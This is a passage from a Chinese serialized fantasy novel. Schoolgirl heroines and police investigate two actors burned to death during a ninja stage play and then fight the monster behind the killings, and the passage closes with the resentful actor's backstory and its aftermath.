喘了几口气后,她抬起头直视星川的眼睛,“不要放弃啊,不管发生了什么……不要放弃啊,不要……败给自己啊。” 说完这些,晴子终于不再有任何力气。她浑身都软了下来,众人赶紧想办法带她离开。在她转身之后,变身还是解除了。当制服出现在星川眼前的那一刻,他潸然泪下,那不就是古川学校的制服吗?经历了这样战斗的,身上带着那么恐怖的血洞的,在战斗后还挣扎着来劝说自己的,居然是古川那样的高中生吗? 他跪坐在地上,宣泄着自己的情绪,旁边的警察们一看就明白了他到底是什么人。八塚玄快步就要冲过来,但是黑木赶紧拦下了他。当星川的哭声渐小,黑木走到他身边蹲下来,“虽然不知道你是谁,但是请和我们走一趟吧。” 医院里,江藤望刚好还没有休息,虽然已经和他打过招呼,但是当看到晴子又被太进来的时候,他都不知道要用什么表情去面对。再看了一眼晴子的状态,他的表情从丰富变为了单纯的凝重。 能用的人手都用上了,不够的都紧急联系了。这一晚医院和警视厅灯光长亮,风夏的父母第一次赶来医院,正式与警视厅和怪人事件接触。 星川在警视厅内做好了记录并签署了保密文件之后,说什么都想来医院看看,但是警察一直在阻止他。事到如今,他也意识到了恐怕怪人和自己脱不了干系,他几乎是在哀求警察,哪怕只能看一眼,哪怕只能在医院里等着,他都想过去,想要陪在那一个女生的附近。 终于,警察还是给黑木打了个电话,黑木思索再三,终于还是决定放星川过来。毕竟晴子都那样走到了他面前,现在不能稳定他的情绪,指不定这人未来会做出什么来。 医院外,星川从警车上下来,直奔医院内而去。而更远的地方,有闻着味儿来的人举起了相机。黑夜隐藏了他的身影,终于到来的媒体的车辆更使得没人看向他的方向。 “这说不定能成为大新闻呢。” 晴子的抢救持续了很久,由于媒体一开始就在机场死了不少人,所以几乎都疯了一样地在医院门口打听消息,就连医院的后门也蹲了不少准备抓拍的人,仿佛自己的同事并没有死,而是以分红和工资的形式获得了永生。 这是晴子经历的最久的一次住院,足足在医院昏迷了五天,醒来之后又住了四天才勉强能够下地。也正是如此,反而让那些媒体都相继离开了医院,还了晴子一份清静。 英梨的状况也不好,战斗之后同样陷入昏迷,被警视厅严密保护,不过好在她昏迷了十四个小时就睁开了眼睛,现在比晴子的身体状况要好很多。 在这一次之后,晴子真的不想战斗了。至少短时间之内,她真的不愿意再有任何一个怪人冒出来。就算是能下地了,她的身上仍然留存着冷意,嘴唇也浅得发白,走几步路就得在原地休息一会儿。 风夏的父母在江藤望指导下,专门请人在晴子能吃饭之后,每天做好足够精致的饭菜送来医院,给晴子身体的恢复提供了不小的帮助。在医院又待了五天,晴子的身体终于勉强回到了比较虚弱的但是相对正常的状态,而此时的英梨已经恢复到活蹦乱跳的状态了。 为了庆祝出院,恰逢剧院新上了一部剧,黑木便请三个女生一起去看了。 这次是新生NightPine的作品,是当下有名的动漫《风间忍道》的舞台剧版,这部剧讲述了一个名为风间千斩的忍者惩奸除恶的故事。其他两位女生是第一次看这个作品,但是英梨在听到名字的时候就已经迫不及待了,毕竟在她放松的时候,几乎唯一的爱好就是在手机上看小说和漫画,而这部作品她是看完了原作的。 故事发生在架空的旧时代,社会极其动荡,战火延绵不断,风间千斩得到忍法传承,为了使人们过上安稳的生活,他与敌对忍者战斗、与残暴的武士抗争、与狡诈的恶徒对峙。而舞台剧之中,着重选取了与忍者战斗并护卫公主的情节。 不得不说女生们都非常惊讶,现在极其强大的舞台效果令人完全没反应过来这是舞台剧,很少接触这种东西的她们感受到了极高的惊喜。黑木则是一如既往地享受,他一直都有看舞台剧的爱好。 剧中忍者之间的战斗非常有感觉,不仅采用了现实中的物理元素与虚拟特效融合的方式,还在座椅上很下功夫,就像是4D电影一般,但是比这还要到位。当忍者吐出一个大火球的时候,观众们都拍手称好,那逼真的效果,仿佛真的将对方烧成了焦炭。 另一位敌对忍者变了脸色,对风间的恐惧令其浑身颤抖,他甚至放弃了继续释放忍术战斗,被风间轻松拿下。 英雄的故事迎来了结束,人们分外满足,要说唯一有些遗憾的地方,那就是这部舞台剧比之前所告知的时长稍微短了几分钟。但是也不要紧,观众们对NightPine的宽容度极高,只要整体是上程的评价,演员们一如既往地优秀,那么便没什么可挑剔的。 15. 影子 舞台剧结束后,几人走到外面,三个女生相当感慨。 买来路边的可丽饼,晴子吃了一口道:“一直说技术在不断发展,但是我对此是没有实感的。至少在我的生活中,虽然也可以看到一些象征着新技术的小玩意,但是并不觉得很是震惊。而这种震撼的东西摆在我面前的时候,我突然很直观地感受到了世界变化之快。” “谁不是呢。”英梨现在都有些回不过神来,“我从小就身处隐秘的古老世族,在我能够好好地接触外界之后,我所面临的也只是不断的战斗。别说这个了,就连我第一次见到手机的时候,我都感到相当恐怖,我真是难以想象人类可以创造出这种东西。” 黑木笑道:“可是对我们来说,你反而才是令我们最感到震惊的。居然真的可以用人类的身份释放出如同魔法的东西。” “这样啊……” 这时,风夏好奇道:“照你这么说,你看见手机都觉得惊讶,那你一定生活在与世隔绝的地方,然而日本哪里有这样的地方呢?” “当然不在肉眼能够看到的地界。” “什么意思?” 英梨将可丽饼递给风夏后结了一个手印,“这个阵你们还记得吧。” 随着她的话音,几人身边的环境发出淡光,路人全都消失不见,一切都静止了下来。 “我们所居住的地方就类似这样的情况,虽然与各位在同一位置,但是并不是同一个空间。原本封魔一族规定必须成年才能进入外界,可是自从邪道某日大举进攻,将我们几乎灭族,我也就失去了自己的家了,于是被迫提前挑起重担。” “那你们那些家具啦之类的,有这些东西吗?万一与这个空间的大家重合之类的……” 英梨淡淡地笑了笑,眼里有一分落寞流露出来,“毁灭所伴随着的,往往是彻底的消散。” 黑木回想起之前找到她学校的事,“真亏你可以直接上高中呢。” “那当然,高中的知识和复杂的封魔术比起来还是太过简单了。尤其是数学,我们在修炼招数的时候会将精确度提升到毫米级,虽说和什么高难度的问题比起来不需要那么动脑子,但是需要进行大量复杂的心算、记忆和控制。” 另外三人互相看了看对方,这才意识到可能站在自己面前的是个天才,在回想起自己经历过的或是正在经历的高中时光,都不约而同地发出了自嘲的苦笑。 聊了一会儿,警笛突然靠近了这里,在场的众人都纷纷向着警车看去。两辆警车停了下来,车门打开,一个叼着烟的警察从车上走下来,他的身材高大魁梧,面露凶光,露出的小臂看起来很有肌肉。 黑木连忙走了过去,那警察也看到了黑木的身影。 “呦,黑木!好久不见了!”那警察咧开嘴豪爽地笑了起来。 黑木也笑了起来,“白石先生,真是太久没见了,是刚从美国回来吗?” “是啊,谁知道刚一回来就又要忙了,哈哈哈。” 两人亲切地握手,看起来关系非常融洽。 黑木介绍道:“这是当初像是我的老师一般的警察——白石拓海先生,这三位是目前为警方提供帮助的三位女高中生。” 白石打量了三人一下,“嗯!每次看这些JK都觉得洋溢着青春啊。真是很久都没回来了,现在的JK真是不得了啊,居然能帮上警察的忙了!而且你们都看起来这么年轻可爱,真是不错啊!” 白石的声音十分洪亮,惹得风夏一起笑了出来,晴子则是用余光看了看周围人的视线,有点想钻到车里。 白石接着说:“就不和你们多说了,我必须要去处理案件了,对了黑木,既然你也在,不如也一起来吧。” “那是当然,不过到底是什么案件呢?” “杀人事件,死者是NightPine的演员,一个名为里见绘里香,另一个名为竹内修平。” 黑木的目光一下就变得不一样了,“这两个演员我很熟悉,就在刚才的那一场舞台剧之中,他们担任了最重要的反派角色,最后被主角用火遁与雷遁干掉。” 白石眼前一亮,“你还真别说,他们确实都被烧焦了,既然你也了解那就更好了,快和我一起来看看吧。至于三位JK,你们就别去了,杀人现场往往是很残酷的,去了容易有心理阴影。” 他灭了烟头转身便和警察们离开,黑木也跟了上去,既然他都已经这么说了,三位女生也不好擅自跟过去。但是英梨建议不要走远,就待在附近比较好,另外两人也表示赞同。 警察们走进剧院,观众已经全部离开,而剧院本身也发布了临时公告,说剧院内的设施出现问题,暂时停止后续的演出,并会保留已经购票者的观看权,将票的使用期限保留并成为万能票,在之后可以用来兑换自己想看的场次。 看到了剧院外的警车,附近的人立即扩散了这条消息,人们纷纷猜测是否剧院之中出现了人为的蓄意破坏,一时间各种言论满天飞。 走到后台,黑木看见了这两个之前还在台上表演的演员。一个已经焦黑,另一个虽然看起来比前一个好些,但是身上也同样有烧伤。 演出这部剧的所有演员及负责人已经全部到位,众人的脸色都很难看。但是最难看的就是担任风间千斩这一角色的小林义树,毕竟这两人就是在自己面前死去的,他又怎么会看不出来呢? 白石蹲下查看了一下死者的状况后沉声道:“说说吧,情况到底是怎么回事?” 一旁的一位辅助人员便开口,他的脸色苍白,声音都有些发抖,“事发时,我就站在被害人的不远处,因为在反派被打倒后,开启最终的一幕之前的转场,我和另外一个人要负责辅助演员,可是没想到,被害人真的浑身焦黑还一动不动,我去叫的时候感觉非常烫手,他真的变成了一具尸体!本着为了保证观众的良好观看体验,我与周围的人都并没有声张,在演出结束之后才说出这件事。 听到这样的话,黑木便问道:“也就是说,在台上观众们看到这一幕发生的时候,里见绘里香小姐和竹内修平先生就已经当场死亡了,观众看到的并不是极其逼真的演出效果,而是名为演出的杀人事实,是这样吗?” “正是如此。” 黑木将头转向小林义树,“小林先生,对此,你有什么要说的吗?” 小林连忙摇头,眼里充满了恐惧,“人不是我杀的!我什么都不知道!” 白石走近了他,高大的身材很有压迫感,“你只说这件事不是你做的,可是别人都看到了是你动的手不是吗,黑木?” 黑木点点头,“没错,从我的角度来看的话,小林先生在台上释放忍术之后,那两人就死去了。” 小林简直要疯了,“警察先生,我又不是真的忍者,那不都是舞台上做出来的效果吗?一个普通人怎么可能放得出忍术呢?这也太荒唐了!” 白石沉默思索,确实,人怎么能放出忍术呢?并且如果使用喷火装置,这种完全贴身的紧身衣又怎么能放得下呢? 然而黑木的想法却完全不同,也由不得他不想,毕竟自己每天接触的都是可以变身怪人的人,可以徒手挡住怪人攻击的人,还有可以真的放出法术的人。现在告诉他有一个人放出了忍术,他一定会持保留态度,毕竟谁又能肯定地说出这世界上一定没人能放出忍术呢? 这时,演出的录像已经导入电脑,毕竟之后还要做成能够在线反复观看的版本,所以一直都有人在近距离进行摄像。 负责这件事的监督介绍道:“在这里,有几个机器配合进行全息投影,演员要严格站在规定的位置,做出动作的角度和被吊起的高度必须丝毫不差,才能与这种投影结合。这一幕,演员口中含有一个小的装置,可以实现类似杂技表演或者魔术表演一般的吐火效果,能够与全息投影配合。” “等等。”白石示意监督暂停,“这个装置是什么样子?” 监督示意小林过来,小林便拿出了一个看起来像一个小山楂卷大小的柱体装置,在靠近一端的地方有便于咬合的位置,在另一端的后面有一个在下方固定的有些扁的击发装置。 “这个要怎么使用呢?” 小林解释道:“用舌头将这个东西顶上去,到达这里的时候就可以自动触发内部装置运作,将存储的燃料点火喷出。” 随后他示意众人离远一些,将这个小东西咬在嘴里,做出了释放忍术的手势。只见一道火焰瞬间喷了出去,还真是一个火球,但是只是瞬发,大概能有两秒左右,并不能持久。即便如此,几人都觉得眼前一亮,可以说很少见到这样的表演。 这持续时间极其短暂的火球,即便是直接打在人的身上哪里能将人烧成焦炭呢?更不必说实际上距离是够不着另一个演员的,只是为了让全息投影混入真实的手段而已。 白石看着手中的装置,“之前那个在舞台上使用的呢?” 小林摸了摸自己衣服里面贴身的小口袋,摸出来一个与这个一模一样的。白石拿在手里看了看,确实是用过的。将两件证物都放置起来,他走到了事发的现场,发现那里的地板也被烧得很严重,明明是很下功夫的具备防火性能的复合材料地板,此刻居然被烧得不像样子。 白石看着这一幕沉思起来,他看看上空,又看看地面道:“这个地板可以打开吗?” 相关负责人便走了过来,“可以打开,本身这个舞台的一切都是可以控制的,用遥控就可以打开。” “好,将这一块的舞台打开,把地板卸下之后再复位。” “好的。” 负责人去操作电脑,白石则指挥警察们趁这个时间先拍几张照片,顺便准备好工具。不久之后,麦克风传来声音,“要打开了”,随后众人退开,这一块舞台便缓缓升起。 警察们把地板卸下,再由负责人复位。白石眉头紧缩,整个过程没有看到任何可能存在的喷火装置。但是与此同时,一个猜想也开始在脑海中浮现。 黑木道:“现在要怎么办呢?” 白石思考片刻,“再去看看尸体。” 不得不说尸体的状态非常惨,不管看几次都觉得十分恐怖。好几个演员都远远地避开,剩下的人哪怕敢看一眼的也会觉得浑身发冷。白石沉着地观察着各个细节,越看越觉得事情十分奇怪,一切的证据都指向着一个结果,的真正是这个结果令人无法接受。 看到他面色了然地站起身,所有人都屏住了呼吸,他走到小林身边,“虽然令我十分费解,但是凶手只能是你。” 小林一脸的难以置信地说:“为什么!你凭什么这么说?我哪里会有这个实力!” “这就是最令人感到不可思议的地方。”白石点起一根烟,“这尸体虽然看起来全身焦黑,但是每个部位的烧伤程度是不同的,哪怕一眼看起来看不出来,但是仔细观察之后可以明显感觉到前方偏上的烧伤是最严重的。撬开地板,无论是升起的过程还是复位的过程都没有出现任何装置能够喷出东西,完全就只有舞台运作的装置,那就更证明火焰并不是从地面向上将人烧伤的。” 小林愤怒道:“就凭这个?那我又是怎么做到的呢?” 白石摸出刚才那两个喷火的小东西,“这个东西即便是现在,内部都有余温。之前你用过的那个明明是在舞台剧最后的情节才使用,现在却一点温度都没有。” “哈?真是笑话,这种东西本身就不会有多少热度,现在估计早都散完了,你真的不是在胡说八道吗?” 白石却摇了摇头,“我一摸就知道,这东西只在外部的材质上做了隔热处理,也正因如此,被你用完后立即捂在布料里的喷火装置,内部怎么能冷成那样?你真正用过的那个在哪里呢?” “根本没有什么之前用过的,就只有这个而已。” 白石笑了,他猛吸一口烟,缓缓地将烟吐出来,“实际上我怀疑的并没有结束,更重要的是外部的温度。” “外部的?” “是啊。你们这部剧在台上的运动量还是相当大的,都不说你了,就算是配角的部分演员,到现在恐怕后背都还有细汗吧?”他摸了摸自己的兜,“就用我的钥匙来说,这个场馆并不算暖和,就连我的体温都足以让我的钥匙摸起来比室温要高,可是你那个被你贴身放置的装置,摸起来却和地板一样凉,就好像没接触过任何有温度的东西一样。” “你是什么意思?” 白石眼睛微眯,趁着小林不备,一把抓住了他的手腕,然后在他的心里立刻就出现了两个字,“好冰”。他的手腕的脉搏并没有任何跳动感,仿佛这人根本就不是个活人。 在小林的挣扎中,白石放开了他的手,然后轻轻叹了口气,“大家都先回去吧,至于小林先生,我必须要求你和我们走一趟,我们会不断查证,直到你被定罪或者摆脱嫌疑为止,在此之前,你还是待在警察局里吧。” 表面上确实是这样做了,可是当所有人都动起来之后,他却以需要交流为由单独带走了黑木,“那个叫晴子的女孩在哪?” 黑木一下就明白了什么,拿起手机就拨出了电话。 户外,晴子的表情一下严肃了起来,将事情告知了英梨之后,英梨则是满脸的不可思议,“怎么会呢?以我的实力来讲,那个距离我已经足以感知到阴魔的存在,我怎么会没发现呢?” 这是第一次英梨对自己的能力产生怀疑,但是她又不相信自己的能力会出问题,面对这完全不合理的状况,她突然有些不好的预感。 想什么来什么,就在三人向着场馆狂奔的时候,一个不小的爆炸突然炸开了场馆的玻璃大门。人们尖叫着逃开,也有一些人赶紧拿出了自己的手机。 只见白石的衣服的一侧被烧了个大坑,上还残留着一些尚未散尽的白烟。粗壮的臂膀暴露出来,已经被烧伤的部分有些恐怖。他大吼着,一把抓住了小林的手臂,就像一个凶悍的猛兽,一个力量极其强大的过肩摔将其摔倒在地,随后高高跃起,双脚重重地踏向他的身躯。 但是小林一下子消失了,只留下一股白烟,然后突然就出现在了白石的背后。 英梨目光一凝,“不好!” 虽然她看不见烟中到底发生了什么,但是她明白那个人恐怕已经凶多吉少了。随后她立即出手,将阵法结出。令她意想不到的是,当阵法出现,所有是人或非人的东西都没能被拉入阵中,只有她自己成功进入。在这一刻,她终于明白了问题出在哪里。这个特殊的阴魔居然将周围的一大片区域已经变为了特殊的结界,强大到连自己的阵法都无法顶掉的地步。 “那这么一来,它的活动范围岂不是大得吓人?” 她一下看向周围的人群,这群还在看热闹的人几乎全都在可击杀范围之内,如果不做点什么,一定会出大问题。可是现在又能做什么呢?晴子无法在众人面前暴露自己的另一个姿态,而自己就这么出手的话,恐怕也会使很多事情变得麻烦。 就在她犹豫的时候,一个火球砸中了正在围观拍摄的六个人,只在一瞬之间,还来不及反应的功夫,就那样轻易地变成了焦炭。再看白石,他已经倒在了地上,明明是那样魁梧的一个人,此时却浑身破烂地在地上一动不动,鲜血撒了一滩。 结局是坏的,但某种程度有相应的好处,那就是围观的人终于意识到这不是他们有资格围观的场面,在死亡的威胁面前,几乎所有人都本能地开始逃离这个地方。 已经没有办法再等下去,因为在众人逃亡的现状之下,接下来要死的就是自己认识的朋友们了。英梨并没有唤出袖剑,而是将一个湛蓝中画着黑色纹路的纸符夹在了两指之间。 这时,晴子已经变身,剑锋直指小林。然而她并不是小林的对手,对方十分灵活,虽然不知道条件是什么,但几乎是可以做到瞬间移动的,这一招不知道已经躲开了晴子几剑,或者说晴子根本就没有能造成过有效的伤害再加上那些棘手的忍术,几乎没有靠着单纯的剑就可以占据上风的可能性。 转眼间,双方就已经交手了数招,但是警方的探测装置却完全没有任何声音。察觉到一直没有任何人联络自己,黑木反过来联络了八塚玄。在得知明明有怪人出现但是却完全没能触发报警装置的时候,八塚玄立即带队前来支援。 晴子一记上斜斩,小林的面前出现了一道土墙抵挡了伤害,她的剑嵌入了墙中,而小林则又是瞬移到了她的身后,泥浆从口中喷出似乎是想要将她封在其中。但是,从上空突然一个水柱落下将泥浆冲散,接着英梨从空中落下。 “这个对手不适合你,交给我吧。” 晴子看向英梨,发现后者的气质与之前截然不同。服装不知道什么时候变了样子,眼睛也变为了蓝曈,浑身散发的气场根本不像是原本的封魔师。此时的她并不是双持袖剑,而是握着一把别致的弓。 晴子快速退到一旁,英梨拉开弓弦。随着弓被拉开的程度,她的周身扬起了越来越大的风,伴随着极快的一箭,小林的身体被瞬间射穿,体表的衣服全部炸开,而在此之中的是一种虚幻的黑暗。 小林仰头痛苦地呼喊,衣服重新回到他的身上。他的面目开始扭曲,之后无关以恐怖的方式在脸上移动挤压,最后,整张脸全部消失,取而代之的是戴着面具的忍者的样子。 警视厅中警铃大作,结界也逐渐消散。英梨认识这个姿态,这是原作之中风间千斩面容被毁的同时战力上升的姿态。 在怪人的结界消失后,英梨仍然无法布下阵法,因为自己的这种状态除了进攻是一无是处的,就连终结对方都做不到。想要真的封印,必须要重新回到封魔的姿态才可以。 “但是……”看着比刚才大得多的火球向自己袭来,英梨重新搭箭,“就胜在攻击能力强啊,哈哈哈。” 她发出了完全不像她会发出的笑声,面色十分愉悦地将箭射出。火球在撞上箭尖的时候一下子发生了爆炸,而随着箭飞入爆炸之中,竟硬是在这片火焰中轰开了一个无火的空间直冲向怪人而去。怪人高高跃起躲开这一击,手中结印释放了下一个忍术。 “雷遁?双雷乱舞。”英梨的脸上仍然维持着笑容,“你知道吗,你所有的招数我都知道。” 双雷乱舞是用两条雷鞭疯狂抽打的招式,哪怕两条雷鞭重合也不会影响彼此,于是在对手眼里就真的是自己在被相当丰富的角度进行疯狂地鞭挞。 对于这种看起来就不容易处理的招数,英梨的办法倒是很简单。她向着怪人的方向看去,只是竖起了右手的手掌,“川流幻灭。” 在怪人的眼中,只觉得突然周围的一切都变成了由水组成的花海,然后自己很快就无法进行动作。而在外部看来,现在它全身被包裹在一个巨大的花苞里。 英梨拉开弓,一箭射了过去,怪人的身体被一下洞穿。然而这一刻,英梨就知道事情不对了。下一刻,眼前的怪人化为了无数蝴蝶飞散在空中,而真正的怪人已经藏在了地底。 它一下子从地底冲出,手中两个苦无就像想要撕裂猎物的獠牙。然而英梨往后退了一步,面色淡然又带些嘲讽地躲开了这一击,“剧中的反派或许真的不容易想到这招,可是你的气息早就暴露无遗了。” 怪人见状,手中立即出现了四枚手里剑,随后二十几枚手里剑从空中杀来。 英梨用小而急的后跳步接连闪开,反手就拉开了弓,“白之引。” 随着一箭射出,怪人立即闪身躲避,可是这支箭就像是锁定它了一般,不管怪人如何躲避都无法甩开,最后在马 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晴子看着她一口鲜血吐了出来,不明白为什么明明是她在压着怪人打,但是吐血的却是她自己。 英梨目光一凝,手中的弓箭化作光点飞散,取而代之的是八张符。她将符纸全部甩出,这八张符便飘在了她身体周围。怪人的身上也冒出黑气,动作有些迟钝感。她明白怪人已经是强弩之末,只要抗住了这一波就是自己的胜利了。 果然,怪人直接结印,但英梨一下就变了脸色,她就认出这是故事最后期才出现的强大杀招,面对一国军队时的高级忍术——火遁?风乘爆弹。喷出的火焰会直接化为三枚足以破城的巨大爆炸火球,每一颗都能造成无数伤亡,而代价是风间千斩之后就再也用不了忍术了。 怪人吐出火焰英梨则高呼,“风夏!” 一直在观战的风夏听见了这声喊精神一振,立即跑上前来。战场明明离旁人有相当的距离,但是火球转瞬之间就已经快到眼前。她汗毛倒立,那是人单纯的恐惧,这股强烈的恐惧完全地表现在了她的脸上,但是既然英梨判断这是能挡的。而且如果她胆怯了,身后的人一定都会遭殃,那她只有挡住这一条路可选了! 风夏张开了自己的双臂,晴子也一个闪身站在了黑木的前面。英梨本在想和怪人对轰一波,但是这八张符如果不全部用来防守那么后果一定是极其严重的。 “水蛇鳞!”一张符直接化为了流光闪动的水盾,样子就像是蛇身的一部分包裹了她一样,剩下七张符快速溶于其中化作光华。之后,她手中又出现了弓,顾不上翻涌的血气一箭射出。 风夏如同张开双翼的飞鸟一般,火球就像是被什么看不见的东西挡住并分解了一样,那些火焰完全不能冲破她的防御。尽管周围的地面都被烤化,热浪冲得人十分难受,但是在她身后的人没有受到一点伤害。 英梨那边的火球则是在水盾上炸开,周围很大一片区域全部被卷入其中,汽车直接全部被引爆炸飞,但是爆风就能把路灯全部吹倒,绿化带里的树木先是破碎然后化为灰烬。 最后一颗火球被箭标记,一条黑蛇直接冲了过去,和巨大的火球比起来显得实在有些小了。虽然也马上就被火焰打得不成样子,但是这颗火球同样没有爆炸,只是庞大的火焰造成了伤害,比爆开要好得多了。 只是这一下让英梨一下瘫在了地上,连站着的力气都没有。原本人没有走太远,在一直用手机录像,那些人连同自己的设备无一幸免,在这一场战斗中都化为了空气的一部分,只剩下了一些渣子还留在地上。 爆炸的烟散开一部分后,英梨已经昏迷在了地上,怪人也同样如同空壳一般一动不动地站着,身上全部碎裂。晴子飞步跑去,收起了剑一拳砸在了怪人的身上,将其彻底干掉…… “这个业界真是烂透了。” 小林义树时常对这个业界感到烦躁,各种各样的人脉错综复杂,各种各样的潜在规则杀人无形,人们为了保证自己的利益和满足自己的欲望什么都做得出来,他已经快恶心到极限了。现在的NightPine已经是乌烟瘴气的了,演员们已经没有以前那样专注于表演,只不过是天才们的天赋维持着高质量的表象。不过好在他发现了一个好苗子,这令他的眼前重新有了一些光芒。 那是他某一次因为电视节目做客某个学校,在那里见识了话剧社学生们的演出。其实在他看来这些学生的水平肯定是远远不够的,但是其中某一个女孩的眼神与投入的状态令他感觉浑身都是一颤,那种在演绎之中几乎就要达到无我境界的感觉,哪怕只是如同迷雾中的灯塔般闪烁着,却令他久违地感到感动。 他留下了一张舞台剧的票,并且在节目中流泪。回去之后同行们都笑谈他敬业,但他自己明白自己的心里所想。当身处舞台,看见前排那个位置坐着那个女生的时候,他在舞台上由衷地笑了。那一场,他竭尽所能展示了真正的纯粹的实力与专注。 女孩看呆了,她突然意识到自己一直所追求的正是这个。就连舞台剧结束后,大家都接连离席后,她还呆呆地坐在椅子上反复地回味着那萦绕于心头的感动。 “嗨。” 女孩抬起头,连忙站起身来,“是你!” 她就要深深地鞠躬,小林率先一步拿出了一枚吊坠,“这是幸运观众的奖品哦。” “幸运观众?我?不过也是,平常的人哪里能够单独见到您这么厉害的人呢?” 女孩收下吊坠,接连表示感谢,小林便笑着点点头,“你叫古川宁宁对吧?” “是!” “明年春天,NightPine有一场选拔,这是好机会,主题是……” 古川一边听着,一边大气都不敢出,良久,她才缓缓开口,“为什么要帮我到这个地步?” 小林叹了口气,“因为我不服气,现在的剧团里都是些身为他人工具的家伙。那些人根本不是为了舞台剧本身而磨练自己,只是单纯为了各方敛财罢了。明明这个剧团曾是那么耀眼,但是更替到现在的四代目成员,内部早已面目全非了,连庆功宴的酒桌上都在彼此打探和算计着,没有一个人谈论舞台剧本身。” 古川大感吃惊,可是又不知道说些什么好。 小林看见她的眼神,轻轻一笑,“别有负担,尽力进到这里吧,如果你的演技可以让人满意,我会在后面动用人脉帮你一把的,愿你能成为吹动这个剧团的风暴。” 古川有些手足无措,惊喜之情令她感到飘呼呼的,可同时也有一股胆怯不可避免地出现在了心里。她的手有些凉,也有些颤抖,只能将双手十指相扣压在腹前,“我真的……有这样的能力吗……” “相信我。” 小林本就长着帅气的脸,眼神也极其真诚,不得不说这给了古川不少安心感,“相信我的眼光,加油吧。” 交谈结束后,小林目送古川离开,笑容渐渐停止,“让你们把剧团搞成这样,你们可以我也可以,看看你们选的人强还是我的强。” 时间一晃而过,已经到了春天的选拔,明明是有上百人参加的活动,可是在开始之前,结果就已经锁定在了其中的几个人之中了,剩下的人皆是天真地期待着自己的演出可以脱颖而出。 站在后方的小林全程微笑着看着古川的表演,他明白自己已经赢了一半了,他就是要让这个剧团成为为了舞台剧而生的团体,而不是为了给各方艺人牵线的木偶,或者给各个组织敛财的工具。至少现在,第一步可以迈出去了,他便直接给某个人拨通了电话。 时间过去十天,到了出结果的日子,古川的名字并没有出现在名单上。 小林难以置信地看着结果,随后拨通了电话,“伊波先生,之前提到的那个古川……” “你居然还不知道吗?我还以为你肯定早就知道了呢,那个孩子在参加选拔的当天就死去了。” 小林感觉遭到了晴天霹雳,“您说什么?” “她在家里和父亲一起死去了,具体的我没有了解。” “是这样啊……” 挂了电话,他目光空洞的看着面前的一切,心中难以平静。过了一会儿,他突然重新找回了自我一般地自言自语道:“怎么就会这么巧呢?我不相信没有猫腻。” 在之后的四天中,他向不少人打听了这件事,很快就打听到了古川父亲的身份。动用人脉侧面了解情况后,听说某个同为警察的同事透露,古川的父亲一直都没有管她,而她自己也很长时间没有在家住过了。 这就更显得奇怪,这样一个人怎么会在选拔的当天恰好堵在门口把自己的女儿带回了家呢? 晚上,搜集着情报的小林整理着自己获得的信息,“暴躁、家暴、占有欲、要面子……这样的人如果得知自己的女儿可能要变得有名,要变得比自己强得多,他必然是坐不住的,可是他是怎么知道的呢?” 这时,一个好朋友给他打电话,“打听到了,当时在值班的一个警察说,古川的父亲好像是接到了一个电话后突然变得很惊喜,又变得很愤怒,还说着NightPine的字眼还有尽管放心之类的话呢。” 小林的脑海里一下就回想起了前几天竹内修平的人被选上,他看自己的表情充满了奇怪的笑意,而里见绘里香的人与他的人都是为了同一个目的推出来的敛财机器,他一下子感觉一身寒意,这一次的合格者就只有那两个人。 随后,剧烈的怒火爆发开来,“你们真敢啊!” 哪怕还没有任何实质的证据,但是他已经气炸了。突然,他意识一下子断了,整个人趴在了桌上,在他的影子里,一个抽动的黑色虚幻的物体渐渐站起,慢慢化为了他的样子。 16. 压抑 这次的灾害是之前都没有的,英梨所处的位置是最严重的,大约半径百米左右的圆形区域被炸得不成样子。尽管和原作之中的破坏力比起来还是逊色了很多,但只能庆幸是怪人自身的上限限制了招数的强度。 当遮挡视线的火焰和烟尘沉寂下来,英梨已经跪坐在了地上。那水盾还保持完好,但是她已经累到双眼都已经看不清什么东西了。 晴子终于恢复神志的时候,整个人都昏昏沉沉的。哪怕没有参与战斗,仅仅是感受了当事人的心理状态,就足以让她感到难以承受。假如是一个旁人向他讲述这样的故事,她或许会有各种各样的情绪,但并不会真的觉得有多么多么严重的心理方面的问题。可是当她自身百分之百以当事人的状态来感受整个事件的时候,强烈的负担和情感几乎要压垮她的大脑。 结果大概是值得的,她用疲惫的双眼看向刚才给予自己超绝体验的那栋大楼,不知道今后要用什么样的眼光去面对NightPine。当然,这种事一定在那个圈子是存在的,可是当人明确告知自己这件事之后,尤其是以这样的视角完全真实地切身体验之后,实在令人难以平复。 她不知道到底过去了多久,这么多天的内容被一口气灌入脑海,实在是难以想象需要花费多少时间。可是当看到黑木关切地询问她的状态,英梨那里也还没有站起来的时候她感觉似乎也没有那么久。 “我……还好。” “真的没什么问题吗?” 晴子点了点头,慢慢蹲下来,重新闭上了眼睛。眩晕感还没有消失,她需要再静一静。 黑木看向周围,这是他第一次庆幸八塚玄的队伍并没有能在战斗时赶来,否则真的不能想象要死多少警察。场馆没有受到严重的伤害,毕竟最后的招式并没有向着那个方向释放,其唯一的好处就是白石的尸体被完好地保留了下来。 在完全叫不醒晴子,风夏也去查看英梨的状态的时候,黑木就先去查看了白石的状况,可是那么壮硕的男人只是毫无气息地趴在地上,身体已经冷了下来。黑木悲痛地抱着他,轻轻为他合上双眼,哀叹着自己的无能。原本重逢的时候,曾有那么一瞬间,他感觉充满了安心感,毕竟记忆中的白石几乎无所不能,他甚至久违地产生了想要依靠别人的想法,可是现实却只剩下了一副渐渐僵硬的身躯。 终于,警笛声渐渐靠近,终于有几辆警车停了下来。八塚玄带队全副武装地到达现场,但是又立刻放慢了脚步,最终缓缓走到黑木身边。 黑木有气无力道:“太好了,你现在才来。” 八塚玄一听这话立即不乐意了,“你是在讽刺我吗?我也已经是以最快速度来到这里了!” “不是的!”黑木长叹一声,又将声音放缓了下来,“看看周围吧,你没来真的是太好了。” 八塚玄这才将目光看向周围的环境,而一旁的警察早已目光颤抖,焦土上的白烟仿佛滔滔不绝地诉说着大地的伤痛,这比他们从当上警察开始见过的所有恐怖袭击都要严重。 “这是……白石先生……” “嗯,已经……” 八塚玄看了看天空,又看了看旁边的大楼,最后发出了自嘲而痛苦的笑声,“我真是什么都做不到啊,我今天和白石先生刚见过面,就在不久之前他还在我的面钱问我有没有咖啡豆啊。” 他不知道要如何调整自己的心情,就这么突然看到了这个老前辈死在自己面前,心里都来不及为此感到悲伤,可是又觉得堵得不行,他迫切地想要对着怪人开枪,想要把所有的子弹倾泻在怪人的身上,可是可以复仇的目标已经消失在了世上,他又要靠什么去排解这份情绪呢? “对了,晴子。” 八塚玄看了看周围,发现晴子正和风夏一起蹲在英梨的身边,而英梨此时也处于昏迷状态。他赶紧跑过去询问道:“你还好吗?” 